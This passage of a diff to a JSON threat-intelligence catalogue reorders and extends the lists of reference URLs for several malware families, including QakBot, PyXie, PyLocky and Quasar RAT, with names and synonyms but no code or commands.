built worm propagating via USB drives, having wiper features embedded in the logic (based on today's date being later than 2016-04-03 and existence of a file C:\\txt.txt)", "meta": { @@ -39264,12 +41089,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa", - "https://bin.re/blog/pykspas-inferior-dga-version/", - "https://www.youtube.com/watch?v=HfSQlC76_s4", "https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/", - "https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html", + "https://www.youtube.com/watch?v=HfSQlC76_s4", "https://bin.re/blog/the-dga-of-pykspa/", - "https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/" + "https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/", + "https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html", + "https://bin.re/blog/pykspas-inferior-dga-version/" ], "synonyms": [], "type": [] @@ -39282,14 +41107,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky", - "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", - "https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/", + "https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html", "https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/", + "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/", "https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/", - "https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html", "https://www.cybermalveillance.gouv.fr/nos-articles/outil-dechiffrement-rancongiciel-ransomware-pylocky-v1-2/", - "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/" + "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/" ], "synonyms": [ "Locky Locker" @@ -39304,19 +41129,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pyxie", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.ic3.gov/Media/News/2021/211101.pdf", - "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", + "https://www.ic3.gov/Media/News/2021/211101.pdf", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/", - "https://www.secureworks.com/research/threat-profiles/gold-dupont", + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.secureworks.com/research/threat-profiles/gold-dupont", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", "https://threatvector.cylance.com/en_us/home/meet-pyxie-a-nefarious-new-python-rat.html", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx" + "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/2/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [ "PyXie RAT" @@ -39344,12 +41169,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars", "https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/", - "https://www.johannesbader.ch/2016/04/the-dga-of-qadars/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.welivesecurity.com/2013/12/18/qadars-a-banking-trojan-with-the-netherlands-in-its-sights/", - "https://securityintelligence.com/an-analysis-of-the-qadars-trojan/" + "https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/", + "https://securityintelligence.com/an-analysis-of-the-qadars-trojan/", + "https://www.johannesbader.ch/2016/04/the-dga-of-qadars/" ], "synonyms": [], "type": [] @@ -39362,219 +41187,246 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.bleepingcomputer.com/news/security/qbot-needs-only-30-minutes-to-steal-your-credentials-emails/", - "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", - "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", - "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", - "https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/", - "https://twitter.com/elisalem9/status/1381859965875462144", - "https://www.zscaler.com/blogs/security-research/rise-qakbot-attacks-traced-evolving-threat-techniques", - "https://documents.trendmicro.com/assets/pdf/Technical-Brief---The-Prelude-to-Ransomware-A-Look-into-Current-QAKBOT-Capabilities-and-Activity.pdf", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/demystifying-qbot-malware.html", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", - "https://isc.sans.edu/diary/rss/28568", - "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", - "https://www.splunk.com/en_us/blog/security/from-macros-to-no-macros-continuous-malware-improvements-by-qakbot.html", - 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"https://seguranca-informatica.pt/a-taste-of-the-latest-release-of-qakbot", + "https://www.secureworks.com/blog/law-enforcement-takes-down-qakbot", + "https://www.team-cymru.com/post/visualizing-qakbot-infrastructure", + "https://www.trendmicro.com/de_de/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", + "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://www.spamhaus.org/news/article/819/qakbot-the-takedown-and-the-remediation", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://twitter.com/TheDFIRReport/status/1361331598344478727", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://web.archive.org/web/20151026140427/https://www.symantec.com/security_response/writeup.jsp?docid=2009-050707-0639-99", "https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta", - "https://malwareandstuff.com/upnp-messing-up-security-since-years/", - "https://asec.ahnlab.com/en/44662/", - "https://www.bleepingcomputer.com/news/security/fujifilm-shuts-down-network-after-suspected-ransomware-attack/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://lab52.io/blog/bypassing-qakbot-anti-analysis-tactics/", - "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", - "https://isc.sans.edu/diary/rss/26862", - "https://www.rapid7.com/blog/post/2023/04/18/automating-qakbot-detection-at-scale-with/", - "https://blog.eclecticiq.com/qakbot-malware-used-unpatched-vulnerability-to-bypass-windows-os-security-feature", - "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", - "https://www.fortinet.com/blog/threat-research/new-variant-of-qakbot-spread-by-phishing-emails", - "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", + "https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf", "https://blog.talosintelligence.com/2019/05/qakbot-levels-up-with-new-obfuscation.html", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://web.archive.org/web/20110909041410/http://www.symantec.com/connect/blogs/qakbot-data-thief-unmasked-part-i", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://blog.lumen.com/qakbot-retool-reinfect-recycle/", + "https://www.elastic.co/security-labs/qbot-configuration-extractor", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://unit42.paloaltonetworks.com/tutorial-qakbot-infection/", + "https://www.youtube.com/watch?v=OCRyEUhiEyw", + "https://www.malwarology.com/posts/4-qakbot-api-hashing/", + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://docs.velociraptor.app/blog/2023/2023-04-05-qakbot/", + "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", + "https://www.group-ib.com/blog/egregor", + "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", + "https://www.malwarology.com/2022/04/qakbot-series-configuration-extraction/", + "https://blog.vincss.net/2021/03/re021-qakbot-dangerous-malware-has-been-around-for-more-than-a-decade.html", + "https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-1/", + "https://twitter.com/Corvid_Cyber/status/1455844008081641472", + "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", + "https://isc.sans.edu/diary/rss/28728", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://perception-point.io/insights-into-an-excel-4-0-macro-attack-using-qakbot-malware", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf", + "https://news.sophos.com/en-us/2022/03/10/qakbot-injects-itself-into-the-middle-of-your-conversations/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/research/qakbot-evolves-to-onenote-malware-distribution.html", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.malwarology.com/posts/3-qakbot-process-injection/", + "https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.team-cymru.com/post/visualizing-qakbot-infrastructure-part-ii-uncharted-territory", + "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", + "https://research.loginsoft.com/threat-research/blog-maximizing-threat-detections-of-qakbot-with-osquery/", + "https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken--the-resurgence-of-the-emotet-botnet-malw.html", + "https://www.um.edu.mt/library/oar/handle/123456789/76802", + "http://blog.opensecurityresearch.com/2011/12/intro-to-reversing-w32pinkslipbot.html", + "https://www.youtube.com/watch?v=iB1psRMtlqg", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://drive.google.com/file/d/1mO2Zb-Q94t39DvdASd4KNTPBD8JdkyC3/view", + "https://www.bleepingcomputer.com/news/security/qbot-phishing-uses-windows-calculator-sideloading-to-infect-devices/", + "https://twitter.com/kienbigmummy/status/1460537501676802051", + "https://www.malwarology.com/2022/04/qakbot-series-string-obfuscation/", + "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/", + "https://isc.sans.edu/forums/diary/XLSB+Files+Because+Binary+is+Stealthier+Than+XML/28476/", + "https://lab52.io/blog/bypassing-qakbot-anti-analysis-tactics/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-countermeasures/", + "https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html", + "https://raw.githubusercontent.com/NtQuerySystemInformation/Malware-RE-papers/main/Qakbot%20report.pdf", + "https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html", + "https://twitter.com/embee_research/status/1592067841154756610?s=20&t=hEALPAWr1LIt9pXcVpxjRQ", + "https://www.malwarology.com/posts/1-qakbot-strings-obfuscation/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/decrypting-qakbots-encrypted-registry-keys/", + "https://malwareandstuff.com/upnp-messing-up-security-since-years/", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://www.justice.gov/d9/2023-08/23mj4251_application_redacted.pdf", + "https://web.archive.org/web/20130530033754/http://www.symantec.com/connect/blogs/qakbot-steals-2gb-confidential-data-week", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://securelist.com/qakbot-technical-analysis/103931/", + "https://blog.minerva-labs.com/a-new-datoploader-delivers-qakbot-trojan", + "https://blog.morphisec.com/qakbot-qbot-maldoc-two-new-techniques", + "https://www.bleepingcomputer.com/news/security/qbot-needs-only-30-minutes-to-steal-your-credentials-emails/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://sansorg.egnyte.com/dl/ALlvwK6fp0", + "https://asec.ahnlab.com/en/44662/", + "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", + "https://www.bleepingcomputer.com/news/security/qbot-malware-switches-to-new-windows-installer-infection-vector/", + "https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/", + "https://blog.quosec.net/posts/grap_qakbot_navigation/", + "https://0xthreatintel.medium.com/reversing-qakbot-tlp-white-d1b8b37ad8e7", + "https://github.com/prodaft/malware-ioc/blob/master/PTI-66/DarkGate.md", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://www.atomicmatryoshka.com/post/malware-headliners-qakbot", + "https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://twitter.com/Unit42_Intel/status/1461004489234829320", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", + "https://www.techtimes.com/articles/274190/20220412/qbot-botnet-deploys-malware-payloads-through-malicious-windows-installers.htm", + "https://www.dsih.fr/article/5020/comment-qbot-revient-en-force-avec-onenote.html", + "https://www.trendmicro.com/en_us/research/21/k/qakbot-loader-returns-with-new-techniques-and-tools.html", + "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", + "https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://isc.sans.edu/diary/rss/26862", + "https://krebsonsecurity.com/2023/08/u-s-hacks-qakbot-quietly-removes-botnet-infections/", + "https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies", + "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://www.tidalcyber.com/blog/identifying-and-defending-against-qakbots-evolving-ttps", + "https://www.youtube.com/watch?v=4I0LF8Vm7SI", + "https://www.zscaler.com/blogs/security-research/rise-qakbot-attacks-traced-evolving-threat-techniques", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", + "https://news.sophos.com/en-us/2023/02/06/qakbot-onenote-attacks/", + "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", + "https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/", + "https://twitter.com/ChouchWard/status/1405168040254316547", + "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/", + "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", + "https://embee-research.ghost.io/shodan-censys-queries/", + "https://blog.quosec.net/posts/grap_qakbot_strings/", + "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", + "https://www.f5.com/labs/articles/threat-intelligence/qbot-banking-trojan-still-up-to-its-old-tricks", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike+and+VNC+activity/28448/", + "https://www.socinvestigation.com/qbot-spreads-via-lnk-files-detection-response/", + "https://www.zscaler.com/blogs/security-research/hibernating-qakbot-comprehensive-study-and-depth-campaign-analysis", + "https://www.trendmicro.com/en_us/research/21/l/staging-a-quack-reverse-analyzing-fileless-qakbot-stager.html", + "https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/", + "https://syrion.me/malware/qakbot-bb-extractor/", + "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.group-ib.com/blog/prolock_evolution", + "https://quosecgmbh.github.io/blog/grap_qakbot_strings.html", + "https://web.archive.org/web/20110406012907/http://www.symantec.com/connect/blogs/qakbot-data-thief-unmasked-part-ii", + "https://www.rapid7.com/blog/post/2023/04/18/automating-qakbot-detection-at-scale-with/", + "https://d01a.github.io/pikabot/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.fortinet.com/blog/threat-research/new-variant-of-qakbot-spread-by-phishing-emails", + "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", + "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources", + "https://www.malwarology.com/2022/04/qakbot-series-process-injection/", + "https://blog.talosintelligence.com/following-the-lnk-metadata-trail", + "https://twitter.com/_alex_il_/status/1384094623270727685", + "https://blog.eclecticiq.com/qakbot-malware-used-unpatched-vulnerability-to-bypass-windows-os-security-feature", + "https://blog.talosintelligence.com/2016/04/qbot-on-the-rise.html", + "https://twitter.com/elisalem9/status/1381859965875462144", + "https://www.intrinsec.com/egregor-prolock/", + "https://micahbabinski.medium.com/html-smuggling-detection-5adefebb6841", + "https://github.com/0xThiebaut/PCAPeek/", + "https://web.archive.org/web/20120206174705/http://blogs.rsa.com/rsafarl/businesses-beware-qakbot-spreads-like-a-worm-stings-like-a-trojan/", + "https://www.justice.gov/usao-cdca/pr/qakbot-malware-disrupted-international-cyber-takedown", + "https://www.netresec.com/?page=Blog&month=2023-03&post=QakBot-C2-Traffic", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-analyzing-a-fowl-banking-trojan-part-1/", - "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs" + "https://twitter.com/tylabs/status/1462195377277476871", + "https://www.youtube.com/watch?v=M22c1JgpG-U", + "https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://n1ght-w0lf.github.io/malware%20analysis/qbot-banking-trojan/", + "https://www.shadowserver.org/news/qakbot-botnet-disruption/", + "https://www.bleepingcomputer.com/news/security/fujifilm-shuts-down-network-after-suspected-ransomware-attack/", + "https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-3/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/demystifying-qbot-malware.html", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://github.com/binref/refinery/blob/master/tutorials/tbr-files.v0x06.Qakbot.Decoder.ipynb", + "https://documents.trendmicro.com/assets/pdf/Technical-Brief---The-Prelude-to-Ransomware-A-Look-into-Current-QAKBOT-Capabilities-and-Activity.pdf", + "https://isc.sans.edu/diary/rss/28568", + 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"https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf" ], "synonyms": [ "Oakboat", @@ -39621,15 +41473,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader", - "https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat", - "https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/", - "https://twitter.com/Arkbird_SOLG/status/1458973883068043264", - "https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/", + 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"https://securelist.com/apt-trends-report-q1-2021/101967/", - "https://twitter.com/struppigel/status/1130455143504318466", + "https://blog.morphisec.com/cinarat-resurfaces-with-new-evasive-tactics-and-techniques", + "https://www.zscaler.com/blogs/research/shellreset-rat-spread-through-macro-based-documents-using-applocker-bypass", + "https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-", + "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://embee-research.ghost.io/hunting-quasar-rat-shodan", + "https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", + "https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html", + "https://www.zscaler.com/blogs/security-research/look-hydrojiin-campaign", + "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite", + "https://intel471.com/blog/privateloader-malware", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4", + "https://therecord.media/chinese-hackers-linked-to-months-long-attack-on-taiwanese-financial-sector/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ", + "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://embee-research.ghost.io/shodan-censys-queries/", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html", + "https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html", + "https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848", + "https://blog.rootshell.be/2022/02/11/sans-isc-cinarat-delivered-through-html-id-attributes/", + "https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign", + "https://securelist.com/apt-trends-report-q1-2021/101967/", + "https://blog.ensilo.com/uncovering-new-activity-by-apt10", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", + "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", + "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://twitter.com/struppigel/status/1130455143504318466", + "https://lab52.io/blog/another-cyber-espionage-campaign-in-the-russia-ukrainian-ongoing-cyber-attacks/", + "https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/", + "https://medium.com/cycraft/supply-chain-attack-targeting-taiwan-financial-sector-bae2f0962934", + "https://asec.ahnlab.com/en/31089/", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/" ], "synonyms": [ "CinaRAT", @@ -39732,8 +41602,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", - "https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42" + 